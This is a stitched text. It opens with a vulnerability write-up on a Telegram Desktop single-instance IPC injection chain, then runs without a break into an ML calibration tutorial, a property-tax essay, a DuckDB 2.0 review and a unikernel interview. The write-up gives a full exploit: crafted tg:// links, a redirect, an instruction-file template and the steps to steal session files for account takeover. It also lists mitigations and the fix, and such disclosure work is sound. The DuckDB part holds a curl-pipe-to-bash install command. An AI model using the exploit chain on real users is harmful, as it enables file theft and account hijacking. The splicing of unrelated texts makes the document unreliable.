An unescaped separator in Telegram Desktop's single-instance IPC lets one clicked link read arbitrary files off the disk and send them to the attacker, session files included.

From a clicked link to the victim’s session files.

Affected Telegram Desktop through 7.2.8, confirmed on Windows (6.9.3)
Impact Remote arbitrary local file read, exfiltrated to an attacker-controlled chat; account takeover
CVE CVE-2026-107181
Fixed in 7.2.9, commit db3405699f
Severity 8.1 High, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Introduction

Someone adds you to a Telegram group. A link shows up in the chat. You click it, and your Telegram account is no longer only yours.

How?

Telegram Desktop hands clicked links to its own already-running instance over a local socket, as text, and never escapes the character it uses to separate commands. So a crafted link does not arrive as one instruction: it arrives as several.

The chain I found has two defects. The first is that injection. The second is what the injected command reaches: an internal URI scheme, interpret:, that reads a file named in an instruction file and sends it to a chat, without checking who asked for it and without a confirmation. Together they turn a clicked link into arbitrary file read. In this post I walk through the chain and then use it to steal the files that are the victim’s login.

One link, two processes

Operating systems let programs register a URI scheme, so they know which application to launch when they meet a link of that kind. Telegram Desktop registers tg. From then on the system knows a tg://... link belongs to Telegram, and launches it with the URL as a command-line argument.

If Telegram is not running, the process starts, takes the string as a parameter, turns it into a URL object and handles it internally: one process, and nothing to communicate.

But what if Telegram is already running? The operating system neither knows nor checks: it launches a new process anyway, identical to the first. Telegram itself has to work out that it is the redundant one, and the way it works that out is by trying to connect to a local socket.

The already-running instance is the server: it has been listening on that socket since it started. The new process is the client. If it manages to connect, an instance is already alive, so it hands over the link and exits.

A socket does not carry objects, it carries bytes. The URL object the new process holds in memory cannot cross that channel, so it has to be flattened into a line of text.

That operation has a name: serialization. Its inverse, rebuilding the object from the text, is deserialization. Both are unavoidable whenever structured data has to cross a boundary, and both are the exact point where the boundaries inside the data stop being held by the structure and become characters in the text.

Telegram does it with a format of its own, a simple one. Each instruction is a keyword, then its argument, then a semicolon that closes it. A link to open becomes:

OPEN:tg://x?a=1;

tg://x?a=1 matches no handler inside Telegram, so on its own that link does nothing. It is only a carrier.

That line is built here, one per URL to open:

// sandbox.cpp:295-297
for (const auto &url : cRefStartUrls()) {
    commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';';
}

On the other side the running instance deserializes: it reads the received bytes, cuts them at every semicolon, and treats each piece as an instruction in its own right. For each piece starting with OPEN: it takes what follows and rebuilds it as a URL, exactly as if it had just arrived on the command line.

// sandbox.cpp:453-463 (abbreviated)
for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {
    auto cmd = base::StringViewMid(cmds, from, to - from);
    ...
} else if (cmd.startsWith(u"OPEN:"_q)) {
    startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));

The unescaped separator

So what happens if one of the transmitted values contains a semicolon of its own, the very character the format uses as a separator? Take the link from before and add something to it:

tg://x?a=1;CMD:quit

The new process treats it as a single URL, because to it that semicolon is just a character inside the query. It flattens it and writes it to the socket:

OPEN:tg://x?a=1;CMD:quit;

The running instance cuts at every semicolon and gets two instructions instead of one:

OPEN:tg://x?a=1
CMD:quit

That is the injection, and it is the first of the two defects.

The interpret: URI scheme

The example above injected CMD:, but don’t be misled by the name: it accepts only show and quit, so the worst it can do is close the app.

Four commands are accepted in total, and three of them are harmless. The fourth is OPEN:, and there is the detail: it accepts any URL, with no filter on the scheme.

Digging through the code turns up another URI scheme inside Telegram, called interpret:.

The operating system would not know what to do with a link starting with interpret:, because it is registered nowhere as a protocol handler: it exists only inside Telegram’s own code, which picks the scheme up off the start-URL list like any other.

// application.cpp:1162-1164
if (url.scheme() == u"interpret"_q) {
    interprets.append(url.path());
    return false;

Through OPEN:, then, it is reachable:

tg://x?a=1;OPEN:interpret:instructions.txt

So what is interpret: for?

It was the tool Telegram used to publish its own releases. When a new version shipped, the build archive had to be posted to a channel with the changelog as its caption. Rather than doing that by hand, a script wrote a small text file naming the channel, the file to send and the text to write, then launched Telegram with the path to that file.

# Telegram/build/updates.py:206
subprocess.call(... 'Telegram -sendpath interpret://' + scriptPath + '/.../command.txt', shell=True)

The instruction file looks like this:

from: 1234567890
channel: 1987654321
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe
caption: TDesktop at 12.06.26:
- Fixed a crash in the media viewer.
- Added a new sticker pack.

The value of from: is compared against the id of the currently logged-in account: it keeps an operator from publishing a release from the wrong one. The check only runs if the line is present, so leaving it out skips it. The destination is set only by channel:, and has to be a channel or a supergroup.

A function called InterpretSendPath does the work.

So where is the bug? interpret: performs a privileged action, reading any file off the disk and sending it to a chat, without asking anyone for confirmation and without checking who asked for it.

The function performs no authorization check.

// support_helper.cpp:673-680
QString InterpretSendPath(
    not_null<Window::SessionController*> window,
    const QString &path) {
    QFile f(path);
    if (!f.open(QIODevice::ReadOnly)) {
        return "App Error: Could not open interpret file: " + path;
    }
    const auto content = QString::fromUtf8(f.readAll());

When that comes from the command line, which is how the release script invokes it, it is not a problem: an attacker would need a foothold on the machine already, and with one they can read the files themselves. But once the same action is reachable through the socket, and therefore through the injection, a dangerous function becomes available from a link the victim clicks.

That is a missing authorization, and it is the second of the two defects.

Getting the instruction file onto disk

An attacker who could place an instruction file on the victim’s disk, pointing file: at a path worth stealing and channel: at a channel of their own, could exfiltrate any file from that machine with nothing more than a clicked link.

So how does an attacker place a text file at a predictable path on someone else’s disk? The obvious way is to send it as a chat attachment.

As it happens, Telegram Desktop in its default configuration downloads files received in groups up to 8 MiB automatically, while in broadcast channels automatic download is off. The file lands in a standard folder, under the same name the sender chose, without the victim clicking on it, and in a predictable place (a name collision would make Telegram save instructions1 (2).txt instead). Some formats, such as stickers, GIFs and voice messages, go to an internal cache instead and would not be reachable as a path on disk.

Telegram builds that path itself (file_utilities.cpp:172-181). On Windows:

C:\Users\<user>\Downloads\Telegram Desktop\<file name>

By sending the file into the group, the attacker knows exactly where it will be saved. The path still seems to hold one unknown, the Windows user name, but interpret: also accepts relative paths, and a relative path is resolved from Telegram’s own working directory, which is its data folder (logs.cpp:381). On Windows that is %APPDATA%\Telegram Desktop, three levels below the user’s home directory, and Downloads sits directly in that home directory. So a path like this one:

interpret:../../../Downloads/Telegram%20Desktop/instructions.txt

gives the attacker a deterministic path without ever needing the user name.

From file read to account takeover

InterpretSendPath sends exactly one file per invocation: if an instruction file holds several file: lines, only the last one counts. Two things lift that limit. Nothing stops an attacker from posting as many instruction files as they want, and the injection does not stop at the first command: every semicolon opens another. Three targets, then, are three instruction files and three stacked commands in one link.

tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt

The primitive stays the same throughout: arbitrary file read. What changes is what you read: an SSH private key, a browser password store, a cloud credentials file, or a configuration holding an API token.

Telegram does not keep local data in the clear, so everything the user holds on disk is encrypted, including the session authorization. That is the key the client uses to identify itself to Telegram’s servers, and holding it is enough to be that account, much like a session cookie on a website.

Telegram uses key wrapping. Two keys are involved. The first, the DEK (Data Encryption Key), is long, random and high-entropy, and encrypts the user’s data. The second, the KEK (Key Encryption Key), encrypts only the DEK, and is not the password: it is derived from the password through a key derivation function (KDF), together with a salt stored next to the encrypted DEK.

In pseudocode, the chain that opens the local data looks like this:

salt, encrypted_DEK = read("tdata/key_datas")
passcode = user_passcode() # empty if none is set
KEK = KDF(passcode, salt)
DEK = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)

By default Telegram Desktop has no local passcode: you have to open the settings and set one. With none set, the password feeding the derivation is empty (storage_domain.cpp:102), so the KEK comes from the empty string and a salt, and that salt is stored in the clear in tdata/key_datas, the same file that holds the encrypted DEK. Reading that one file is enough to recompute the KEK and unwrap the DEK.

So with no passcode set, whoever gets key_datas gets the DEK, and with the DEK everything else decrypts, session authorization included.

Three files are involved, and only two of them hold secrets:

tdata/
├── key_datas                    the salt and the encrypted DEK
├── D877F783D5D3EF8Cs            the MTProto authorization, encrypted with the DEK
└── D877F783D5D3EF8C/
    └── maps                     the index of the account's stored data

That folder name is not random and not specific to an installation. It is derived from the string data, the default data name (storage_file_utilities.cpp:241-250). It is identical on every install.

The third file is an index, and it holds no secrets. The session still will not load without it: Telegram reads the authorization only while reading that index. Stealing it, though, is a choice: an attacker could just as well build one. In this proof of concept it is simply taken along with the other two, for convenience.

It follows that an attacker holding all three has the account: drop them into a fresh tdata, start Telegram, and the victim’s session opens.

Delivering the link

The attack needs one click from the victim, and it has to come from outside Telegram. A tg:// link clicked inside a Telegram chat is handled in-process (click_handler_types.cpp:278) and never reaches the socket, so there is nothing to inject into. Normal https links, on the other hand, open in the system browser (ui_integration.cpp:437), because Telegram Desktop has no embedded one. So the attacker sends an ordinary https link and has their own server redirect it to the crafted tg:// one.

GET /rules HTTP/1.1
Host: corvus.sec

HTTP/1.1 302 Found
Location: tg://x?a=1;OPEN:interpret:instructions.txt

Depending on the browser, and on whether the victim has used the handler before, the system may ask for confirmation before launching Telegram.

Proof of concept

1. The attacker creates a supergroup and adds the victim to it. Telegram’s default privacy setting allows this with no confirmation from the invitee.

2. The attacker posts three instruction text files in the group, one for each file to be stolen, all naming the attacker’s own group as the destination. Omitting the from: line skips the account check entirely:

   channel: 2001234567
   file: tdata/key_datas
   caption: poc
   

   The file has to be plain text with LF line endings and no byte-order mark. The other two point at tdata/D877F783D5D3EF8Cs and tdata/D877F783D5D3EF8C/maps. Automatic download saves all three to the victim’s disk when the victim opens the group, which they do anyway, because that is where the link in step 3 is waiting.

3. The attacker sends an innocuous link into the chat:

   https://corvus.sec/rules
   

4. The victim clicks it. The browser follows the redirect, which this time carries one command per target, wrapped here but sent as a single line:

   tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
   

5. The operating system launches a second Telegram process, which forwards the URL to the running one over the socket. The unescaped semicolons split it, and the injection fires.

6. The three interpret: commands execute, and the three files are uploaded to the attacker’s group. No confirmation dialog is shown.

7. The attacker rebuilds tdata from the three files and opens the victim’s account.

Mitigations

Upgrade to 7.2.9 or later. That is the only thing that actually closes the problem. The rest reduces exposure.

• Turn on “ask where to save each file”. With that setting, automatic download does not happen at all, and the instruction file never reaches the disk. It is the most effective mitigation short of upgrading.
• Limit who can add you to groups to your contacts only. Stolen files can only be sent to a channel or a supergroup, so this takes away the place the attacker would have them delivered to.
• Set a local passcode, and choose it like a real password. It does not prevent the files from being stolen; it only makes the stolen session unusable.

Fix

Fixed by commit db3405699f on 16 September 2026. The changelog dates 7.2.9 to the same day; the release was published the following morning. The commit removes the interpret:// scheme and Support::InterpretSendPath entirely, and escapes the record separator on the single-instance socket: values are escaped with a percent-prefixed hex encoding before being written and decoded after the split, so a semicolon in the data can no longer become a boundary.

It also adds two measures beyond that: CMD: and CTRL: records are skipped when the same connection carries an OPEN:, and local file paths are dropped once a non-local URL has appeared on that connection.

Timeline

The fix shipped quietly: the 7.2.9 changelog mentions only a rendering fix, the commit that closes the chain is titled “Remove legacy interpret path helper”, and no advisory accompanied it.

"System one" decision models are models that infer and respond with calibrated probabilities or every allowed answer.

Consider your everyday language model, to get typed output from it (JSON), you may use Structured Output to constrain the output to guaranteed valid JSON. While model prefills the input in one pass, it still has to go perform a pass for every token in order to generate a valid response.

In this example, 11 passes are required to generate the final output. (We're not accounting for speculative decoding and other inference optimization techniques.)

Decision models such as Jev, make the assumption that there are fixed options we can select from and we can do so quickly by making a single pass. In this example we constrain the set of possible outputs to the options A, B, C, D, E. By masking other items in the vocabulary, the model can only emit those tokens. By selecting the highest probability output, we get our answer.

Since the outputs are constrained to only a fixed set of options, the model can't select anything outside of those. This however does not guarantee that the output will be correct. It's also common to treat the output token probabilities a confidence scores in this context, but without additional training, those scores likely reflect its confidence in what the next token will be rather than the true probability of the response being the correct answer.

Build your own

We can emulate this behavior by constraining output tokens using an LLM. Here I'm using Qwen/Qwen3-1.7B

import argparse
import json

import torch
from transformers import AutoModelForCausalLM, AutoTokenizer

model_name = "Qwen/Qwen3-1.7B"
options = ["A", "B", "C", "D", "E"]

parser = argparse.ArgumentParser()
parser.add_argument("--input", default="question.json")
args = parser.parse_args()

# load the tokenizer and the model
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(
    model_name,
    torch_dtype="auto",
    device_map="auto"
)

# the token the model would emit for each option as the first assistant token
option_token_ids = [tokenizer.encode(opt, add_special_tokens=False)[0] for opt in options]


def format_prompt(item):
    prompt = item["question"] + "\n"
    for opt in options:
        prompt += f"{opt}. {item[opt]}\n"
    prompt += "Answer:"
    messages = [
        {"role": "user", "content": prompt}
    ]
    return tokenizer.apply_chat_template(
        messages,
        tokenize=False,
        add_generation_prompt=True,
        enable_thinking=False
    )


with open(args.input) as f:
    item = json.load(f)

model_inputs = tokenizer(format_prompt(item), return_tensors="pt").to(model.device)
with torch.no_grad():
    logits = model(**model_inputs).logits[0, -1]
# constrained decoding: only the option tokens are allowed
probs = torch.softmax(logits[option_token_ids].float(), dim=-1)

print(f"prediction: {options[probs.argmax().item()]}")
for opt, prob in zip(options, probs.tolist()):
    print(f"{opt}: {prob:.4f}  {item[opt]}")

Running it with an simple question to test it yeilds the following output

// input

{
    "question": "What color is the sky?",
    "A": "Red",
    "B": "Blue",
    "C": "Green",
    "D": "Purple",
    "E": "I don't know"
}

// output

prediction: B
A: 0.0000  Red
B: 0.9988  Blue
C: 0.0000  Green
D: 0.0000  Purple
E: 0.0012  I don't know

The model was able to make sense of our input and make a prediction that reasonably corresponds to the correct answer.

We can test the accuracy of the model by running it against public datasets. I ran this against a random sample holdout of CommonsenseQA

    precision    recall        f1   support
A    0.5733    0.7197    0.6382       239
B    0.5506    0.7686    0.6416       255
C    0.5372    0.6598    0.5922       241
D    0.7206    0.3904    0.5065       251
E    0.7519    0.4255    0.5435       235
accuracy: 725/1221 = 0.5938
macro f1: 0.5844

Not bad for a 1.7B model, Running a quick finetune on the dataset gives us slightly better performance

    precision    recall        f1   support
A    0.6475    0.6611    0.6542       239
B    0.6113    0.6784    0.6431       255
C    0.6234    0.5975    0.6102       241
D    0.6700    0.5418    0.5991       251
E    0.5808    0.6426    0.6101       235
accuracy: 762/1221 = 0.6241
macro f1: 0.6234

Calibrating your model

Testing the model against a very ambiguous problem demonstrates an interesting problem.

// input
{
    "question": "Where would you most likely find a bat?",
    "A": "Cave",
    "B": "Baseball game",
    "C": "Attic",
    "D": "Zoo",
    "E": "Sporting goods store"
}

// output

prediction: A
A: 0.9978  Cave
B: 0.0004  Baseball game
C: 0.0017  Attic
D: 0.0000  Zoo
E: 0.0001  Sporting goods store

There should be no clear answer here, but treating the output probabilities as a pseudo "confidence" score, shows that the model is extremely overconfident in this answer.

If we bin the confidence score ranges in the eval I ran earlier, we can see that the model's confidence does not match its accuracy. This means that the model is not calibrated.

         bin   count  confidence  accuracy
(0.00, 0.10]       0      0.0000    0.0000
(0.10, 0.20]       0      0.0000    0.0000
(0.20, 0.30]       3      0.2834    0.0000
(0.30, 0.40]      26      0.3761    0.2692
(0.40, 0.50]      41      0.4538    0.2683
(0.50, 0.60]      70      0.5490    0.3286
(0.60, 0.70]      74      0.6476    0.3649
(0.70, 0.80]      77      0.7495    0.4286
(0.80, 0.90]     121      0.8555    0.4711
(0.90, 1.00]     809      0.9855    0.7009

We can notice that the model tends to be extremely overconfident in the 0.9 - 1.0 bin but it's only correct 70% of the time. When it makes a prediction with 0.8 - 0.9 confidence it's only accurate ~40% of the time. This means that the model is generally overconfident in its predictions.

Since our goal is to have the model output scores that is reflective of its accuracy, one method we can use to callibrate it is through temperature scaling. By modifying the temperature value, we can flatten its output probability distribution curve and scale it to approximate its accuracy.

Curve fitting fit the temperature parameter to the model's accuracy, I found 3.797280788421631 as a temp value.

         bin   count  confidence  accuracy
(0.00, 0.10]       0      0.0000    0.0000
(0.10, 0.20]       0      0.0000    0.0000
(0.20, 0.30]      82      0.2712    0.2317
(0.30, 0.40]     217      0.3507    0.3917
(0.40, 0.50]     199      0.4472    0.5126
(0.50, 0.60]     166      0.5475    0.5482
(0.60, 0.70]     139      0.6562    0.5827
(0.70, 0.80]     140      0.7492    0.7714
(0.80, 0.90]     169      0.8507    0.7988
(0.90, 1.00]     109      0.9333    0.9541

This gets us a much better calibration. If you want to play around with this, I made a GitHub repo with scripts that walk you through building a dataset, evaluating, finetuning and calibrating your own model. I encourage pulling it and trying it on other bigger models.

Many of us are inconsistent in our economic desires. I would like the price of my home to rise, because it increases my wealth, but I would also like the prices of all other homes to fall, so that I could sell my house and buy an even nicer house. Also, I would like to have the value of my house rise, but also pay lower property taxes. David Schleicher digs into the second issue in “The Great American Property Tax Freak Out” (posted online at SSRN on September 1, 2026). He writes:

In the last three years, a number of states have substantially reformed their property tax systems, providing huge tax benefits to owner-occupied homes and shifting the burden of paying for services like schools and police to commercial property owners (including rental apartment buildings), to other local taxes, and to state funding, which itself largely comes from sources like sales taxes and income taxes. A few, including Florida, Ohio, North Dakota, and Texas, have considered going further, either completely abandoning property taxation for owner-occupied housing or even abandoning property taxation entirely. … One might think that homeowners would be happy that their largest asset has appreciated substantially in value, as homes did, particularly in suburbs, in the post-COVID period. But because property taxes are wealth taxes, property owners have responded to their increasing wealth with political anger, pushing shifts in property tax policy, often leading to increasing rates on commercial property owners who have seen declining values during the same period. …

[T]hese reforms shift the property tax from a tool homeowners use collectively to provide for locally-wanted services towards a more standard form of redistributive taxation, charging commercial property owners to pay for services for homeowners. Further, they will lead to greater state authority over local governments, less stable funding for local governments (but also less tax foreclosure in recessions), and stricter zoning controls (but more building of homes where it is legal). Perhaps most notably, these property tax reforms will lead to higher housing costs, and thus constitute a substantial transfer of wealth towards people who already own homes and have already seen their net worth increase substantially in the post COVID housing market.

A few other facts and insights seem worth appending here.

1) there’s a lot of local variation across public finance in the United States. But as a broad statement, property taxes are the major own-source of revenue for local US governments, and in turn the main source of financing for local schools. Many local governments have traditionally relied on property taxes to pay for police as well. The political dynamic of reducing property taxes often involves state-level actions that limit or block property taxes at the local level. It is not clear that voters for lower property taxes have drawn a connection in their mind to the likelihood of reduced local public services.

2) the property tax is a form of wealth tax, and it has the standard problems of a wealth tax: specifically, you can have more wealth–say, the value of your home, your business, or your retirement account went up–without having immediate income to pay a higher level of taxes. Thus, older voters who tend to have higher accumulated wealth, partly in the form of home equity, but also lower current income, are a politically powerful and sympathetic group in the push to reduce or eliminate property taxes.

3) If property taxes are reduced or abolished, the cost of owning a home falls. (For example, imagine that you could guarantee that the roof, exterior, driveway, plumbing and HVAC systems in your house would never need repair or replacement, which would also lead to a fall in the cost of owning a home.) With lower costs of owning a home, the market value of the home rises. Thus, the ironic outcome is that higher housing prices cause voters to want to limit or repeal property taxes, which would then lead to even higher housing prices. Moreover, the current homeowners who have already benefited from higher home values will benefit further, while homeownership will look even costlier for potential future homebuyers.

DuckDB 2.0 is coming this fall and the alpha is out! I ran the interesting features on my own laptop, and against S3, to see what actually changes for people who build tables and pipelines rather than database engines.

Because yes, DuckDB 2.0 is faster. But to get the speed bump you need to understand how your data is shaped, and sometimes how to model it.

This post covers the three features I think matter most, with the numbers I got, plus a few hidden gems I found in the commit logs.

Every number below is from one machine (an M5 laptop) and my home internet, which slows both versions about equally. Run your own before quoting them ;)

Let's start with the easiest and most exciting one: async I/O.

Async I/O: querying over AWS S3 is much faster

This is the one I like most, because nothing in your query changes. Here is a query that reads a 2.2 GB Parquet file on S3 (Stack Overflow votes, 228 million rows, 2268 row groups) and counts votes per type. It reads one column out of four, about 230 MB.

CREATE SECRET s3 (TYPE s3, PROVIDER credential_chain, REGION 'us-east-1');
SET enable_external_file_cache = false;   -- so every run really hits S3

SELECT VoteTypeId, count(*) AS n
FROM read_parquet('s3://us-prd-motherduck-open-datasets/stackoverflow/parquet/2023-05/votes.parquet')
GROUP BY ALL ORDER BY 1;

Quick caveat: as I said in the introduction, this is my home internet to us-east-1, so both numbers are slow. Expect things to go faster if you run this from cloud compute.

So what's the black magic here? The file is cut into 2268 row groups of about 122,000 rows. For every row group DuckDB downloads the bytes, decodes the Parquet, counts votes per type, and merges the partial counts at the end. Two kinds of work: waiting on the network, and crunching on the CPU.

In 1.5.5 each of the 18 workers does both jobs in turn: download, wait, decode, download, wait. While a worker waits its CPU is idle, while it decodes it has no download in flight, and you never get more than 18 downloads going.

In 2.0 a separate pool of threads only downloads, keeping dozens of row groups in flight and parking the bytes in a buffer. The workers only decode, and there is always a row group ready for them. Network and CPU are busy at the same time.

One setting drives this: read_ahead_depth, how many row groups the download pool may fetch ahead of the workers. It defaults to -1 (automatic, sized from your thread count), so async I/O is on out of the box. Set it to 0 and you get the 1.5 behaviour back.

One comment on the tiny files: no meaningful change, because the time there is per-file round trips (footer, then data) that reading ahead cannot remove. Storing a lake as thousands of 1 MB Parquet files is a bad practice anyway, and 2.0 does not rescue it. Fundamentals still matter!

TL;DR: reading data over S3 is 2x to 3x faster in 2.0 with zero query changes, because a separate pool downloads ahead of the workers. It is on by default (read_ahead_depth = -1); 0 gives you the old behaviour.

Recursive CTEs: a boost for deep parent/child datasets

The DuckDB team rewrote the recursive CTE engine and claims 40x on graph reachability. Don't worry, I'll explain what that means on a table you already know.

A recursive CTE is a loop over a table. Take an employees table with two columns, manager and employee. You want to answer a simple question: who reports to whom.

To do that, you start with one row: Ana, the CEO. Round one, find everyone whose manager is Ana (Ben, Cléa). Round two, find everyone whose manager is one of those people (Dev, Eli, Fay). Keep going until a round finds nobody new. Every level of the org chart is one round.

The query looks like this:

WITH RECURSIVE team(person) AS (
    SELECT 'Ana'
  UNION
    SELECT e.employee FROM team t JOIN employees e ON e.manager = t.person
)
SELECT count(*) FROM team;

Org chart, folder tree, bill of materials, reply thread, data lineage, git history: these are all kinds of data where the table is often the same two columns, parent and child. The only thing that differs is how deep it goes, and the depth is the number of rounds for the query. An org chart is maybe eight levels. A git history is tens of thousands.

Here is the problem 1.5 had. Every round, it went back and re-read the whole table to find the next level. Eight levels mean eight full reads. Thousands of levels, thousands of full reads of the same table. In 2.0 the table is read once, a lookup on the parent column is built once, and each round only looks up the few rows it just found. The cost is now about the rows you actually touch, not rounds times table size.

Coming back to git history, that's typically where you will see the boost. Every commit points to its parent, so the table is just commit_id, parent_id, and walking the ancestry of HEAD is one round per commit. I generated a 20,000-commit repo with a few merges and walked it back to the root with a recursive CTE like this:

WITH RECURSIVE ancestors(id) AS (
    SELECT max(id) FROM commits              -- HEAD
  UNION
    SELECT p.parent_id FROM ancestors a JOIN commit_parents p ON p.commit_id = a.id
)
SELECT count(*) FROM ancestors;

And the query times:

TL;DR: if you walk deep parent/child chains (git history, lineage, reply threads, a full bill of materials), 2.0 turns a job you used to push to a graph database into a normal query. If your hierarchy is shallow, like an org chart, you won't see much. Either way, keep the hierarchy as one parent/child table with integer ids, and reach for USING KEY when the recursion carries a value like depth or cost.

VARIANT: smaller and faster than JSON

Everybody loves JSON. VARIANT is now a first-class data type in DuckDB, and the word to remember is shredding.

Not the guitar kind. Shredding in our VARIANT context means: when DuckDB writes a row group to disk, it looks at your JSON column and finds the fields that show up in most rows with the same kind of value every time.

Here is a common example, one event out of five million:

{"type": "purchase", "user": {"id": 42, "country": "FR", "premium": true},
 "props": {"amount": 12.5, "currency": "EUR", "items": 2}, "tags": ["a", "b"]}

The event kind is always text, user.id is always a number, props.amount is always a decimal. Those fields get pulled out into their own real columns under the hood. The rare fields, and the fields that are a number in one row and text in the next, stay together in a binary remainder. So the consistent part of your JSON is stored like a normal table, and only the messy part is stored as a blob.

The perfect case is structured logs. level, service, latency_ms, trace_id are in every line and always the same kind of value, so they all shred. The odd extra object stays in the remainder, still queryable, just slower. The trap: a latency_ms that is 231 in one line and "231ms" in the next falls into the remainder too. Keep value kinds consistent.

VARIANT is not only about speed. Text is greedy on storage as much as on CPU. I took the five million events and stored the same data three ways:

-- A: the JSON string
CREATE TABLE ev AS SELECT json AS payload FROM read_ndjson_objects('events.ndjson');
-- B: VARIANT
CREATE TABLE ev AS SELECT json::VARIANT AS payload FROM read_ndjson_objects('events.ndjson');
-- C: a normal table, one typed column per field
CREATE TABLE ev AS SELECT * FROM read_json('events.ndjson');

Then three queries on each: a filter on two fields, a sum of a numeric field grouped by country, and a list lookup.

-- Q1: filter on two fields
SELECT count(*) FROM ev
WHERE payload.type::VARCHAR = 'purchase' AND payload.user.country::VARCHAR = 'FR';

-- Q2: sum of a numeric sub-field, grouped
SELECT payload.user.country::VARCHAR AS country, sum(payload.props.amount::DOUBLE) AS amount
FROM ev WHERE payload.type::VARCHAR = 'purchase' GROUP BY ALL ORDER BY 1;

-- Q3: list lookup
SELECT count(*) FROM ev WHERE list_contains(payload.tags::VARCHAR[], 'c');

What can we see here?

• VARIANT is 2.7 times smaller than the JSON string, and you can see why with pragma_storage_info('ev'): the object is split into sub-columns, the event kind is stored as a dictionary. EXPLAIN shows the filter pushed into the scan, so a query on payload.type reads one sub-column.
• On the queries that touch shredded fields, a filter or a sum on a numeric sub-field, VARIANT is about 6 times faster than parsing the JSON text and within 20 percent of the typed columns. Compared to VARIANT in 1.5.5 it is 78 times faster, because 1.5.5 had the type but not the shredding.
• The list query is the exception. Casting a VARIANT list to VARCHAR[] costs two seconds in this alpha, slower than the JSON path. Field access is where shredding pays today; lists are not there yet.

So the golden rule of modeling is still valid: model what you know. The fields every query touches deserve real columns, and promoting one is two statements:

ALTER TABLE ev ADD COLUMN type VARCHAR;
UPDATE ev SET type = payload.type::VARCHAR;

TL;DR: if your events share a consistent set of fields with consistent value kinds, store them as VARIANT rather than a JSON string. You get a third of the storage and field queries that run like real columns. Promote the fields every query touches to real columns, keep the long tail in the VARIANT, and avoid list casts in hot queries for now.

Quick hits from the release, and from the commit log

Triggers. The table runs a bit of SQL by itself when rows change. For instance, update some prices, and the trigger sees each row before and after the change (the "transition tables") and writes both into a history table. Before, every tool that touched the table had to remember to write that history row somewhere. Now it can be done directly on the database side.

CREATE TRIGGER price_history AFTER UPDATE ON prices
REFERENCING OLD TABLE AS before_rows NEW TABLE AS after_rows FOR EACH STATEMENT
  INSERT INTO price_history (id, old_price, new_price)
  SELECT a.id, b.price, a.price FROM before_rows b JOIN after_rows a USING (id);

Nested schemas: CREATE SCHEMA finance.reports; and tables inside it.

DML in a CTE: a DELETE ... RETURNING inside a WITH, then INSERT from it, which is the move-rows-atomically pattern.

WITH moved AS MATERIALIZED (DELETE FROM staging RETURNING *)
INSERT INTO prod SELECT * FROM moved;

Other fun things:

• SET dialect_compatibility_mode = 'spark': a compatibility mode for Spark SQL if you need to migrate certain pipelines from Spark SQL to DuckDB.
• SET external_file_cache_spill = true: DuckDB caches remote file blocks in memory; when they get evicted, this spills them to your temp directory instead of downloading them again. With a 300 MB memory limit, the second read of an 854 MB Parquet file on S3 went from 23.9 s to 0.35 s.
• The CLI got a SQL formatter (duckdb -format, or .auto_format on), a queryable history (.history, FROM shell_history()), .about and .manual <function>.
• read_json now detects ISO-8601 timestamps with an offset as TIMESTAMPTZ instead of silently dropping the offset.
• CREATE SECRET s IN CONNECTION (...) scopes a secret to one connection.

Quack, the client-server protocol, is the other half of this release and goes to 1.0 with it. I covered it in its own video, so I won't repeat it here.

Try it and give feedback!

The alpha is one line for the CLI, and the other clients are on the DuckDB installation page:

curl https://install.duckdb.org | DUCKDB_VERSION=alpha bash
~/.duckdb/cli/latest/duckdb -c "SELECT version()"

And of course, MotherDuck will support 2.0 close to the release, so feel free to get your hands on the duck in the cloud and enjoy all the nuggets we talked about here.

Justin Cormack, who worked on MirageOS back in the day, called me at the pub to talk about why unikernels are coming back. The friction that made them hard is gone, the operating system is design debt, and if you care about security you should seriously consider them.

Justin Cormack, who worked on MirageOS and Unikernel Systems back in the day, has been noticing what I've been noticing: people are discovering (or rediscovering) unikernels again. He's running a series of conversations on the topic for his newsletter, and I was first up. He emailed me, and five minutes later I was talking to him from the pub with a stein of beer in hand. We went deep on Mirage, Orleans, Haskell, Nix, Cursed and a whole lot more.

Here's the gist, written up properly, with chapter links at the bottom if you want to jump to a specific part of the conversation. Justin's edited transcript is over at Ignore Previous Directions.

Unikernels were hard. Key word: were. Now we have AI.

what a unikernel is, and why they were hard

I first ran into unikernels around 2015. I'd staffed up a team of Haskellers and gone pretty deep on functional programming. Where there are Haskellers, there are OCaml programmers, and from there you find MirageOS. Great idea. I played with it back then.

A unikernel is the idea that your application is the operating system. There's no userland. If you want a web server, DNS, or to send an email, there's nothing you can fork or spawn. You have to write those things as libraries in your application.

That was the friction. Justin remembers it well: when they were building Mirage, they had a TCP stack and an HTTPS stack, but there was almost nothing for storage. They were pulling drivers out of NetBSD because they could run them in userspace. It was hard back then.

There's a lot of dogma in our industry. Nix is hard. Bazel is hard. Unikernels are hard. Yes, they were. These hard concepts are now in the model weights. All you've got to do is prompt for them and, cognitively, get rid of the dogma that they're hard.

the operating system is design debt

Every application that isn't a unikernel was built on the assumption that there's an application, and then there's an operating system underneath. Why do we even have an operating system? Because forty years ago there was a human operator. I've done IBM 5250, AIX, Solaris, and mainframes. The multi-user operating system exists because a person sat in front of it, and then we put the application on top.

I consider that design debt, and here's why it matters right now. Applications get popped. They were getting popped before AI. Someone pops the userland application and gets a shell. That shell is a VIP butler service for exfiltration.

With a unikernel, the attack surface is much smaller. If the functionality isn't in the application (the operating system), then the attacker is screwed. There's no next hop.

Justin pushed back here, and fairly. Attack-surface reduction is something people are very fuzzy about. You can remove the shell from a Linux container, but almost every Linux environment still has something that's effectively an interpreter. You can execute a new program without a writable filesystem. You've still got memory safety and gadgets to worry about.

